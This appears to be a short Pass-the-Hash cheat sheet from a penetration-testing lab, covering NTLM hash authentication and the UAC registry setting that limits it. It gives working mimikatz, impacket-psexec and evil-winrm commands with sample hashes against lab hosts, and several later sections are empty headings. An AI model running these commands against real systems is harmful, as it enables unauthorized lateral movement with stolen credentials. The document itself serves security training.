Pass The Hash

Overview

  • Pass-the-Hash uses an NTLM hash to authenticate without knowing the plaintext password

  • Works with NTLM authentication — does NOT work with Kerberos alone

UAC Limitation

  • Registry key: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\LocalAccountTokenFilterPolicy

  • Value 0 = only RID-500 (built-in Administrator) can PtH remotely

  • Value 1 = all local admins can PtH

PtH - Mimikatz

mimikatz.exe privilege::debug "sekurlsa::pth /user:julio /rc4:64F12CDDAA88057E06A81B54E73B949B /domain:inlanefreight.htb /run:cmd.exe" exit

PtH - Impacket PsExec

impacket-psexec [email protected] -hashes :30B3783CE2ABF1AF70F77D0660CF3453

PtH - Evil-WinRM

evil-winrm -i 10.129.201.126 -u Administrator -H 30B3783CE2ABF1AF70F77D0660CF3453

PtH - NetExec (Spray Subnet)

PtH - NetExec (Command Exec)

PtH - RDP (xfreerdp)

  • Must enable Restricted Admin mode first:

PtH - Invoke-TheHash (SMB Exec)

PtH - Invoke-TheHash (WMI Exec)

Last updated